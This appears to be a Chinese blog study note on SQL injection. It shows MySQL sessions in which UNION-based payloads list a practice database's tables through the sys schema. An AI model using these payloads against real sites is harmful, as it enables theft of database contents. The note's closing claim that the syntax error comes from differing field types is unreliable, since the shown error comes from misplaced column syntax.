sql注入注意点

ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2,3' at line 1
mysql> select * from users where id =-1 union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database();
+----+----------+-------------------------------+
| id | username | password                      |
+----+----------+-------------------------------+
|  1 | 2        | users,emails,referers,uagents |
+----+----------+-------------------------------+
1 row in set (0.19 sec)

mysql> select * from users where id=-1 union select 2, group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database(),3;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '3' at line 1
mysql> select * from users where id=-1 union select 2,3, group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database();
+----+----------+-------------------------------+
| id | username | password                      |
+----+----------+-------------------------------+
|  2 | 3        | emails,referers,uagents,users |
+----+----------+-------------------------------+
1 row in set (0.01 sec)

mysql> select * from users where id=-1 union select 2,3,(table_name) from sys.schema_auto_increment_columns where table_schema=database();
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | 3        | emails   |
|  2 | 3        | referers |
|  2 | 3        | uagents  |
|  2 | 3        | users    |
+----+----------+----------+
4 rows in set (0.01 sec)

select * from users where id=-1 union select 2,3,(table_name) from sys.schema_auto_increment_columns where table_schema=database();

2 代表红 3代表黑,蓝色代表(table_name) from sys.schema_auto_increment_columns where table_schema=database()

问题:为什么红、蓝、黑调换位置,语法报错

解答:因为他们的字段类型不同

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值